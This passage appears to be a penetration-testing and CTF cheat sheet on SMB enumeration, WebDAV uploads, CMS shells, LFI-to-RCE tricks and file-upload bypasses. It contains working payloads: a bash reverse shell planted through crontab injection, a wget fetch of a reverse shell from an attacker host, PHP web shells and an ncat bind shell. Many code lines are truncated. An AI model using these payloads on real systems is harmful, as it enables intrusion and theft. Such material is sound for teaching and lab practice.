smbclient -N -L 192.168.1.2 WARNING: The "syslog" option is deprecated  
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]  
  
Sharename      Type      Comment  
-----  
print$         Disk      Printer Drivers  
kathy          Disk      Fred, What are we doing here?  
tmp            Disk      All temporary files should be stored here  
IPC$           IPC       IPC Service (red server (Samba, Ubuntu))  
  
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]  
  
Server          Comment  
-----  
RED             red server (Samba, Ubuntu)  
  
Workgroup      Master  
-----  
WORKGROUP      RED
```

```
-N : If specified, this parameter suppresses the normal password pro  
-L host and a list should appear. The -I option may be useful if you
```

If you want to access the share you might want to type

```
smbclient \\\\IP\\share\_name
```

So, in the above example, it would be

```
smbclient \\\\192.168.1.2\\kathy
```

If port 139 is open, also run enum4linux, may be it would help get the user list

- Port 69 UDP:

TFTP

```
get or put file
```

- Want to see what firewall rules are applied in Linux? Get /etc/iptables/rules.v4 and /etc/iptables/rules.v6 file.
- Ruby Best way to get quoted words / phrases out of the text

```
text.scan(/"(^[^"]*)"$/) { |line| ... }
```

- Convert all text in a file from UPPER to lowercase

```
tr '[upper:]' '[lower:]' < input.txt > output.txt
```

- Remove lines longer than x or shorter than x

```
awk 'length($0)>x' filename or awk 'length($0) < x'
```

- Remember, by default cewl generates a wordlist of one word. It by default ignore words in quotes. For example: if "Policy of Truth" is written in quotes. It will treat it as three words. However, what we wanted is to consider whole word between the quotes. By doing a small change in the cewl source code, we can get all the words in quotes, we also can remove spaces and changing upper to lower, we were able to create a small wordlist.
- Got a random string: Figure out what it could be? Hex encoded, base64 encoded, md5 hash. Use hash-identifier tool to help you.
- If a machine is running a IIS Server and we have found a way to upload a file. We can try asp web-shell or meterpreter of asp, aspx, aspx-exe executable formats from msfvenom.
- If we get a pcap file which contains 802.11 data and has auth, deauth and eapol key packets, most probably it's a packet-capture done using the wireless attack for WPA-Handshake. Use aircrack to see if there is any WPA handshake present.

```

13:06:21.922176 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)):
13:06:21.922688 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)):
13:06:21.923157 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:21.924224 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)):
13:06:21.924736 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)):
13:06:21.925723 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:21.933402 Probe Response (community) [1.0* 2.0* 5.5* 11.0* 18.
13:06:21.933908 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:21.934427 Clear-To-Send RA:e0:3e:44:04:52:75 (oui Unknown)
13:06:21.991250 Authentication (Open System)-1: Successful
13:06:21.992274 Authentication (Open System)-1: Successful
13:06:21.992282 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:21.992795 Authentication (Open System)-2:
13:06:21.992787 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:21.994834 Assoc Request (community) [1.0* 2.0* 5.5* 11.0* 18.0
13:06:21.994843 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:21.996890 Assoc Response AID(1) : PRIVACY : Successful
13:06:21.996882 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:22.011783 Action (e8:50:8b:20:52:75 (oui Unknown)): BA ADDBA R
13:06:22.012314 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:22.012827 BAR RA:e8:50:8b:20:52:75 (oui Unknown) TA:c4:12:f5:0
13:06:22.013330 BA RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:22.014874 CF +QoS EAPOL key (3) v2, len 117
13:06:22.015379 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:22.030226 CF +QoS EAPOL key (3) v1, len 117

```

```
13:06:22.030746 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:22.043034 CF +QoS EAPOL key (3) v2, len 175
13:06:22.043026 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown)
13:06:22.054803 CF +QoS EAPOL key (3) v1, len 95
13:06:22.056338 CF +QoS EAPOL key (3) v1, len 95
13:06:22.056859 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown)
13:06:22.064514 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown)
13:06:22.065030 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown)
13:06:22.079878 Clear-To-Send RA:18:f6:43:9c:dc:5f (oui Unknown)
13:06:22.080901 Acknowledgment RA:18:f6:43:9c:dc:5f (oui Unknown)
13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)):
13:06:22.108096 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)):
13:06:22.110144 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)):
```

- Transfer an image

```
base64 flair.jpg
Copy output
vi flair
Paste the clipboard
base64 -d flair > flair.jpg
```

- Have a web-accessible git ? utilize [dvcs-ripper](#) to rip web accessible (distributed) version control systems: SVN, GIT, Mercurial/hg, bzr. It can rip repositories even when directory browsing is turned off. Eric Gruber has written a blog on [Dumping Git Data from Misconfigured Web Servers](#) providing good walkthrough.
- It's always important to find, what's installed on the box:

```
dpkg-query -l
```

or using wild cards

```
dpkg-query -l 'perl*'
```

- It's always important to note down all the passwords found during the process of exploiting a vulnerable machine as there is a great possibility that passwords would be reused.
- If you have .jar file, Probably use jd-gui to decompile and view the class file.

- Find recently modified files:

```
find / -mmin -10 -type f 2>/dev/null
```

The above will show you which files have been modified within the last 10 minutes, which could help you find out whether an important config file, or log file has been modified.

- Getting a reverse shell from:

- Drupal: Now that we have access to the Drupal administration panel, we can gain RCE by enabling the PHP filter module. This will allow us to execute arbitrary code on the site by inserting a specifically crafted string into page content. After enabling the module, I proceed to allow code to be executed by all users under the configuration screen for the module. Once enabled we need to give permission to use it so in people -> permissions check "Use the PHP code text for.

Next, we create a new block (by going to Blocks, under the Structure menu) with the following content. We make sure to select PHP code from the Text format drop down. Taken from [Droopy Vulnhub WriteUp](#) Drupal settings file location: /var/www/html/sites/default/settings.php

- WordPress : If we have found a username and password of wordpress with admin privileges, we can upload a php meterpreter. One of the possible way is to do Appearance > Editor > Possibly edit 404 Template.
- If the only port which is open is 3128, check for the open proxy and route the traffic via the open proxy. Probably, squid proxy server would be running. If it is the squid configuration file is /etc/squid/squid.conf
  - If you do get the configuration file, do check for what kind of proxy it is! like SOCKS4, SOCKS5 or HTTP(S) proxy and is there any authentication required to access the proxy.
  - We may utilize [Proxychains](#) to access the other side of network like ssh, http etc.

- Running Asterisk/ Elastix/ FreePBX or any PBX, probably try [SIPVicious](#) suite is a set of tools that can be used to audit SIP based VoIP systems. Running "http://IPpanel" should provide us valid extensions.
- Sharepoint running? Probably, check [SPartan](#) Frontpage and Sharepoint fingerprinting and attack tool and [SharePwn](#) SharePoint Security Auditor.
- authbind software allows a program that would normally require superuser privileges to access privileged network services to run as a non-privileged user. authbind allows the system administrator to permit specific users and groups access to bind to TCP and UDP ports below 1024.
- Mostly, if there's only port open like ssh and the IP might be acting as a interface between two networks? Like IT and OT. Probably, try to add that IP address as a default route? As it might be acting as a router?
- If you are trying to figure out the hostname of the machine and the DNS-Server is not configured, may be try to do a Full Nmap Scan -A Option? (Still need to figure out how does that work)
- Want to send a email via the SMTP server something like SMTP-Open-Relay utilize [Swaks](#) Swiss Army Knife for SMTP.

```
swaks --to xxxx@example.com --from xxxx@eee@example.edu --server 192.168.
```

- Got /etc/shadow file?, utilize /etc/passwd with unshadow command and use john or cudahashcat to crack passwords.

```
unshadow passwd shadow
```

- If IIS and WebDav with PUT and MOVE method are enabled, we can use testdav or cadaver (A command-line WebDAV client for Unix) to see which files are allowed

```
davtest -url http://10.54.98.15/
*****
Testing DAV connection
```

```
OPEN      SUCCEED:      http://10.54.98.15
*****
NOTE Random string for this session: E3u9ISnNswYes0
*****
Creating directory
MKCOL      SUCCEED:      Created http://10.54.98.15/Dav
*****
Sending test files
PUT pl      SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT asp     FAIL
PUT aspx    FAIL
PUT cgi     FAIL
PUT html    SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT cfm     SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT jhtml   SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT shtml   FAIL
PUT php     SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT jsp     SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
PUT txt     SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
*****
Checking for test file execution
EXEC pl     FAIL
EXEC html   SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
EXEC cfm    FAIL
EXEC jhtml  FAIL
EXEC php   FAIL
EXEC jsp   FAIL
EXEC txt   SUCCEED:      http://10.54.98.15/DavTestDir_E3u9ISnN
*****
/usr/bin/davtest Summary:
Created: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0
PUT File: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9I
Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9I
Executes: http://10.54.98.15/DavTestDir_E3u9ISnNswYes0/davtest_E3u9I
```

Now, we can see that pl, html, txt and other files can be uploaded. Now, if the MOVE method is enabled, we can upload a aspx meterpreter in a text file and then MOVE the .txt file to .aspx and execute the aspx file by using

```
MOVE /shell.txt HTTP/1.1  
Host: example.com  
Destination: /shell.aspx
```

- In one of the VM, one of the task was to capture the RAM of the system by using LiME ~ Linux Memory Extractor ( which is executed by suid binary with root privileges ). Let's say the ramdump was saved at

```
/tmp/ramdump
```

If, you create a symlink from /tmp/ramdump to /etc/crontab

```
ln -s /etc/crontab /tmp/ramdump
```

Now, when the ramdump is taken, lime will now dump the content of RAM straight into /etc/crontab. As crontab will ignore everything which doesn't match the correct syntax. If the memory contains a injected string such as

```
cat cron.py  
print "* * * * * root /bin/bash /home/username/evilscript"
```

the injected string will end up in /etc/crontab will be executed.

The contents of evilscript can be

```
/bin/bash -i >& /dev/tcp/IP/Port 0>&1
```

which will provide the root shell to the attacker. Thanks to TheColonial :)

- [phpbash](#) is a standalone, semi-interactive web shell. It's main purpose is to assist in penetration tests where traditional reverse shells are not possible.

- ps aux not fully visible try

```
echo "`ps aux --sort -rss`"
```

- If there's a XXE on a website and possible RFI using internal address i.e on <http://127.0.0.1:80/home=RFI> rather than <http://10.54.98.10:80/home=RFI>, utilize XXE to send the request with localaddress.
- If there's a possible command execution on a website such as

```
curl -A "bitvijays" -i "http://IPAddress/example?parameter='linux_command"
```

However, it is protected by a WAF, probably, try bash globbling techniques with ? and \*. Refer [Web Application Firewall \(WAF\) Evasion Techniques](#) and [Web Application Firewall \(WAF\) Evasion Techniques #2](#) ! Amazing stuff here! Also, it might be a good idea to test the command with ? on your local machine first then directly on the target. Also, sometimes, it adding a space before or after the linux\_command might work like ' linux\_command' or 'linux\_command '

- Similar to ls there is dir in linux. Try "dir -l" Might be helpful sometimes.
- Sometimes, we don't have tools on the victim machine, in that case we can download static binaries from [Static-Binaries](#) If not, found, try the deb or rpm package of the binary, extract it and upload.
- mysql can execute statements in one liner using -execute or -e option

```
mysql [options] db_name  
--user=user_name, -u user_name : The MariaDB user name to use when connecting.  
--password[=password], -p[password] : The password to use when connecting.  
--execute=statement, -e statement : Execute the statement and quit. Disables  
interactive mode.
```

- If there's .action file present in the URL on a Apache WebServer, [Apache Struts](#) might be installed on it. Check for Apache Struts vulnerabilities on it.

- Windows XP Machine ? and we are able to put some files anywhere? Refer [Playing with MOF files on Windows, for fun & profit](#)
- Good Post Exploitation Guide [Windows Post-Exploitation Command List](#)
- Oracle Padding Attacks? Refer [PadBuster](#)
- If there's a cron job with

```
* * * * * php /path-to-your-project/artisan schedule:run >> /dev/nul
```

possibly, we can edit schedule method of the AppConsoleKernel class (Kernel.php) in AppConsoleKernel and use exec method to execute commands on the operating systems.

```
$schedule->exec('node /home/forge/script.js')->daily();
```

Refer [Task Scheduling](#)

- Handy Stuff

- Utilize xxd to convert hex to ascii

```
xxd -r -p
-p | -ps | -postscript : output in postscript con
-r | -revert : reverse operation: convert (or patch) hexdu
```

- We may use base64 -w 0 to disable line wrapping while encoding files with base64.
- Use python
  - binascii.unhexlify(hexstr) to convert hex to string
  - base64.decodestring(str) to decode base64 string
  - Convert number to hex

```
hex(15)  
'0xf'
```

- Convert hex to decimal

```
s = "6a48f82d8e828ce82b82"  
i = int(s, 16)
```

- If we are able to execute python code maybe use popen to execute os commands.

```
import os;  
os.popen("whoami").read()
```

- Getting out of more

If in somecase, we are unable to ssh into the machine or being logged out when trying ssh, check the /etc/passwd file for the shell defined for that user.

```
cat /etc/passwd | grep user1  
user1:x:11026:11026:user level 1:/home/user1:/usr/bin/show
```

Here Instead of /bin/bash, user1 is using /usr/bin/showtext, which is apparently not a shell. Let's look at the content of the file

```
cat /usr/bin/showtext  
#!/bin/sh  
more ~/text.txt  
exit 0
```

In such cases, First, minimize your terminal so that when we are logged into user1 via ssh command, the large text will force a "more" message to prompt us to continue the output. Now that we have forced the terminal to prompt us to continue the display via "more" or "-More-(50%)" in this

case, press "v" to enter "vim", a built-in text editor on Unix machines.  
Once, we have vim interface, use :shell to get a shell.

- List all the files together

```
find /home -type f -printf "%f\t%p\t%u\%g\t%m\n" 2>/dev/nu
```

## Cyber-Deception

### Wordpot

[Wordpot](#) : Wordpot is a Wordpress honeypot which detects probes for plugins, themes, timthumb and other common files used to fingerprint a wordpress installation.

```
python /opt/wp/wordpot.py --host=$lanip --port=69 --title=Welcome to XXXXXXXX E
```

### FakeSMTP

[FakeSMTP](#) : FakeSMTP is a Free Fake SMTP Server with GUI for testing emails in applications easily.

```
java -jar /opt/fakesmtp/target/fakeSMTP-2.1-SNAPSHOT.jar -s -b -p 2525 127.0.0.1
```

### Rubberglue

[Rubberglue](#) : We can use Rubberglue to listen on a port such that any traffic it receives on that port it will forward back to the client ( attacker ) on the same port.

```
python2 /opt/honeyports/honeyports-0.4.py -p 23
```

### Knockd

[Knockd - Port-knocking server](#) : knockd is a port-knocking server. It listens to all traffic on an ethernet (or PPP) interface, looking for special "knock" sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open – since knockd listens at the link-layer level, it sees all traffic even if it's destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access.

If there is port knocking involved, read the /etc/knockd.conf, read the sequence port knock should be done and execute

```
for PORT in 43059 22435 17432; do nmap -PN 192.168.56.203 -p $PORT; done
```

## DCEPT

SecureWorks researchers have created a solution known as [DCEPT \(Domain Controller Enticing Password Tripwire\)](#) to detect network intrusions. Github is [dcept](#)

## Useful Tools

- [exe2hex](#) : Inline file transfer using in-built Windows tools (DEBUG.exe or PowerShell).
- [Powercat](#) : A PowerShell TCP/IP swiss army knife that works with Netcat & Ncat
- [Unicorn](#) is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory.
- [Nishang](#) is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming.
- [Ncat](#) Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project and is the culmination of the currently splintered family of Netcat incarnations. It is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses. Among Ncat's vast number of features there is the ability to chain Ncats together; redirection of TCP, UDP, and SCTP ports to other sites; SSL support; and proxy connections via SOCKS4, SOCKS5 or HTTP proxies (with optional proxy

authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it.

Few important example is

Redirect any incoming traffic on TCP port 8080 on the local machine to host (example.org -in below example) on port 80.

```
ncat --sh-exec "ncat example.org 80" -l 8080 --keep-open
```

Bind to TCP port 8081 and attach /bin/bash for the world to access freely.

```
ncat --exec "/bin/bash" -l 8081 --keep-open"
```

## Appendix-I : Local File Inclusion

Local File Inclusion (LFI) is a type of vulnerability concerning web server. It allow an attacker to include a local file on the web server. It occurs due to the use of not properly sanitized user input.

### Tools

To test LFI, RFI, we can also use [Uniscan](#) Uniscan is a simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.

```
uniscan -h
OPTIONS:
-h    help
-u    <url> example: https://www.example.com/
-f    <file> list of url's
-b    Uniscan go to background
-q    Enable Directory checks
-w    Enable File checks
-e    Enable robots.txt and sitemap.xml check
-d    Enable Dynamic checks
-s    Enable Static checks
-r    Enable Stress checks
```

```
-i <dork> Bing search
-o <dork> Google search
-g Web fingerprint
-j Server fingerprint

usage:
[1] perl ./uniscan.pl -u http://www.example.com/ -qweds
[2] perl ./uniscan.pl -f sites.txt -bqweds
[3] perl ./uniscan.pl -i uniscan
[4] perl ./uniscan.pl -i "ip:xxx.xxx.xxx.xxx"
[5] perl ./uniscan.pl -o "inurl:test"
[6] perl ./uniscan.pl -u https://www.example.com/ -r
```

There's another tool called [fimap](#). However, it is better to check the source of uniscan for LFI and see what it is trying and try that with curl specially if cookies are required to set (in case of authenticated LFI). Personally, I tried Uniscan and for some reason cookie feature was not working and fimap only support POST parameter in cookie no GET.

#### Note

Also, if we have unprivileged user shell or an ability to store a file somewhere in the filesystem, however don't have permission to write in /var/www/html but does have LFI, we can still write (php meterpreter shell) in /tmp or user home directory and utilize LFI to get a reverse shell.

#### Filtering in LFI

Sometimes, there might be some filtering applied by default. For example: filename=secret.txt, here it is possible that it will only read files named secret.txt or with extension .txt. So, may be rename your payload accordingly.

For example: the below code only includes the file which are named secret

```
<?php
$file = @$_GET['filename'];
if(strlen($file) > 55)
    exit("File name too long.");
$fileName = basename($file);
if(!strpos($file, "secret"))
```

```
exit("No secret is selected.");
echo "<pre>";
include($file);
echo "</pre>";
?>
```

## LFI to Remote Code Execution

Mainly taken from [LFI-Cheat-Sheet](#) , [Exploiting PHP File Inclusion – Overview](#) and [Upgrade from LFI to RCE via PHP Sessions](#)

There are variety of different tricks to turn your LFI into RCE. Using

### File upload forms/ functions

Figure out if there are any upload forms or functions, we will upload your malicious code to the victim server, which can be executed.

### PHP wrapper expect://command

Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.

An example of PHP expect:

```
http://IP/fileincl/example1.php?page=expect://ls
```

If PHP expect wrapper is disabled, below error is encountered.

```
Warning: include(): Unable to find the wrapper "expect" - did you forget to enable it via php.ini
Warning: include(): Unable to find the<br> wrapper "expect" - did you forget to enable it via php.ini
Warning: include(expect://ls): failed to open stream: No such file or directory
Warning: include(): Failed opening 'expect://ls' for inclusion (include_path='')
```

### PHP Wrapper zip

Let's say there is a upload functionality on the victim machine, however the file saved doesn't have executable permission, in that case if we upload a zip file containing a shellcode such as

Creating a php payload for listing current directory files (There can be other payload also. For example, php meterpreter, if the "system" is blocked use, scandir() for directory listing etc. )

```
echo "<?php system(\"ls\"); ?>" > shell.php
```

and

```
zip shell.zip shell.php
```

Now, if we upload this zip file somehow to the victim machine and know it's location (Let's say it got uploaded in /uploads) and filename (is def506bd2176265e006f2db3d7b4e9db11c459c1), we can do remote code execution

#### Zip Usage

```
zip://archive.zip#dir/file.txt
```

Burp Request

```
GET /?parameter=zip://uploads/def506bd2176265e006f2db3d7b4e9db11c459c1%23shell1
Host: 10.50.66.93
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52
%23 is the #
< ----- >
```

and we get RCE

```
index.php
upload.php
uploads
```

We may read more about it at [Bypassing PHP Null Byte Injection protections – Part II – CTF Write-up](#) or [CodeGate General CTF 2015: Owlur](#) – Read other write-ups in this.

## **PHP Wrapper phar**

RCE can also be done using [Using Phar Archives: the phar stream wrapper](#)

## **PHP wrapper php://file**

### **PHP wrapper php://filter**

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as `readfile()`, `file()`, and `file_get_contents()` where there is otherwise no opportunity to apply a filter to the stream prior to the contents being read.

The output is encoded using base64, so you'll need to decode the output.

```
http://IP/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=inc
```

or

We could use php filter to read the source code of a PHP File

```
http://xqi.cc/index.php?m=php://filter/read=convert.base64-encode/resource=inc
```

More information can be found at [Using PHP for file inclusion](#)

## **PHP input:// stream**

php://input allows you to read raw POST data. It is a less memory intensive alternative to `$HTTP_RAW_POST_DATA` and does not need any special `php.ini` directives. `php://input` is not available with `enctype="multipart/form-data"`.

Send your payload in the POST request using curl, burp.

Example:

```
http://IP/fileincl/example1.php?page=php://input
```

Post Data payload:

```
<? system('wget http://IP/php-reverse-shell.php -O /var/www/shell.php');?>
```

After uploading execute the reverse shell at

```
http://IP/shell.php
```

**data://text/plain;base64,command**

**/proc/self/environ**

If it's possible to include /proc/self/environ from your vulnerable LFI script, then code execution can be leveraged by manipulating the User Agent parameter with Burp. After the PHP code has been introduced /proc/self/environ can be executed via your vulnerable LFI script.

**/proc/self/fd**

If it's possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the referer.

This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2, /proc/self/fd/10 etc. Utilize [LFI-LogFileCheck.txt](#) with Burp Intruder, and check for the returned page sizes.

### Control over PHP Session Values

Let's say, a vulnerable page is present with the post request

```
POST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27
Content-Length: 44
Connection: close
Upgrade-Insecure-Requests: 1

login=1&user=admin&pass=admin&lang=en_us.php
```

with LFI

```
login=1&user=admin&pass=admin&lang=../../../../../../../../etc/passwd
```

Now, the server store cookies

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

As we know PHP5 stores it's session files by default under /var/lib/php5/sess\_[PHPSESSID]. (If not, do check phpinfo and figure out the location of temp files) - so the above issued session "i56kgbsq9rm8ndg3qbarhsbm27" would be stored under /var/lib/php5/sess\_i56kgbsq9rm8ndg3qbarhsbm27

Now, we can write the cookie with a php command

```
POST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27
Content-Length: 134
Connection: close
Upgrade-Insecure-Requests: 1

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

This would result in

```
Set-Cookie: user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E; exp
```

Now, the php command can be executed using

```
POST /upload/? HTTP/1.1
Host: vulnerable.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Connection: close
Upgrade-Insecure-Requests: 1

login=1&user=admin&pass=password&lang=/../../../../../../../../var/lib/php5
```

The session file could again afterwards be included using the LFI (note that you need to remove the cookie from the request, otherwise it would get overwritten again and the payload would fail)

### Email Server

If the email server allows you to send email unauthorized and we know the usernames on the system, we probably can utilize it to do remote code execution by using telnet and connecting to port 25

```
EHLO example.com
VRFY username@example.com
MAIL FROM: pwned@domain.com
RCPT TO: username@example.com
DATA

Subject: Owned
<?php echo system($_REQUEST['cmd']); ?>
```

.

Mail Queued

and as we have LFI, we can read the email by

../../../../var/mail/username &cmd=whoami

The above would probably differ on the request of your LFI.

## Appendix-II : File Upload

### Examples

#### Note

If sometimes, we are trying to upload a php file and it's not a allowed extension, maybe try with php5 extension. The file extension tells the web server which version of PHP to use. Some web servers are set up so that PHP 4 is the default, and you have to use .php5 to tell it to use PHP 5.

#### Simple File Upload

Intercepting the request in Burp/ ZAP and changing the file-extension.

Below is the PHP code

```
<?

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
}
```

```

        return $string;
    }

    function makeRandomPath($dir, $ext) {
        do {
            $path = $dir."/".$_genRandomString().".$ext;
        } while(file_exists($path));
        return $path;
    }

    function makeRandomPathFromFilename($dir, $fn) {
        $ext = pathinfo($fn, PATHINFO_EXTENSION);
        return makeRandomPath($dir, $ext);
    }

    if(array_key_exists("filename", $_POST)) {
        $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
            echo "File is too big";
        } else {
            if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path))
                echo "The file <a href=\"$target_path\">$target_path</a> has been up";
            else{
                echo "There was an error uploading the file, please try again!";
            }
        }
    } else {
    ?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>

```

If we change the extension of filename tag from JPG to PHP, we may be able to execute code remotely.

- Create a fake JPG containing php code.

We'll be using system() to read our password.

```
echo "<?php system($_GET["cmd"]); ?>" > shell.jpg
```

- Upload JPG, intercept in Burp/ ZAP and change the extension

```
<input name="filename" value="o0xn5q93si.jpg" type="hidden">
```

is changed to

```
<input name="filename" value="o0xn5q93si.php" type="hidden">
```

### Simple File Upload - With verifying image type

In this the above PHP code remain almost the same apart from little addition that we check the filetype of the file uploaded

```
<?php  
...  
  
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {  
    echo "File is not an image";  
}  
  
...  
  
?>
```

Since the exif\_imagetype function checks the filetype of the uploaded file. It checks the first bytes of an image are against a signature. Most filetypes such as JPEG, ZIP, TAR, etc. have a "Magic Number" at the beginning of the file to help verify its file type. So to pass the exif\_imagetype function check, our file must start with the magic number of a supported image format.

- Take a valid file (JPG or whichever file format, we are trying to bypass), take the valid hexdump of that file (Let's say first 100 bytes)

```
hexdump -n 100 -e '100/1 "\x%02X" "\n"' sunflower.jpg
-n length      : Interpret only length bytes of Input
-e format_string : Specify a format string to be used for displayin
```

Example:

```
hexdump -n 100 -e '100/1 "\x%02X" "\n"' sunflower.jpg
\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x2C\x01
```

- Create a file with JPG header and command shell code using python

```
>>> fh = open('shell.php','w')
>>> fh.write('The Hexdump from above \xFF\xD8\xFF\xE0' + '<? passthru($_G'
>>> fh.close()
```

#### Tip

Do check the source code of the page for any client-side file validation or any commented hidden parameters?

We can also upload an actual .jpeg, but alter the comments in the metadata to include the php code.

#### Modifying File Upload Page

Upload forms are client-side, we can probably modify them using Inspect Element or F12. If by-chance, there's a LFI and we have seen the code of upload function. The first thing to check would be "What are the restrictions on upload i.e. Either only jpg file extension is uploaded or is file content is also check etc."

Let's say, there is a upload form which has a text-field for accepting input (Let's say - suspectinfo) and the input put in this text field is stored in a file format on the server. Let's see the current

form in inspect-element.

#### Client-Side Code

```
<form enctype="multipart/form-data" action="?op=upload" method="POST">
  <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </te>
    <input type="text" id="name" name="name" value="" style="width:355px;">
    <input type="submit" name="submit" value="Send Tip!">
</form>
```

If we see the above form, accepts two inputs

- text type field named sinfo for providing detailed information about the server and
- text type field named name for providing name of the server.

Let's also see, serverside code

```
if(isset($_POST['submit']) && isset($_POST['sinfo'])) {
    $tip = $_POST['sinfo'];
    $secretname = Random_Filename(); ## Generates a random file na
    $location = Random_Number(); ## Generate a random number
    file_put_contents("uploads/" . $location . '/' . $secretname, $
```

If we see, the contents of sinfo are directly put in a file.

In this case, if we change the input type of sinfo from text to file. We can upload a file! Imagine uploading a zip file or php file.

```
<form enctype="multipart/form-data" action="?op=upload" method="POST">
#  <textarea style="width:400px; height:150px;" id="sinfo" name="sinfo"> </te>
  <input type="file" id="sinfo" name="sinfo" value="" style="width:355px;">
    <input type="text" id="name" name="name" value="" style="width:355px;">
    <input type="submit" name="submit" value="Send Tip!">
</form>
```

Now, when we press submit button, probably, just make sure that the request is quite similar to the original one and we should be able to upload the file.

#### Tip

Sometimes, there might be cases when the developer has commented a input type on the client side, however has forgotten to comment on the serverside code! Maybe, try to uncomment and see what happens!

### IIS - Web.config Upload

If we are able to upload a web.config file by a file upload functionality in IIS - Windows machine, there might be a possibility of remote code execution.

A web.config file lets you customize the way site or a specific directory on site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.

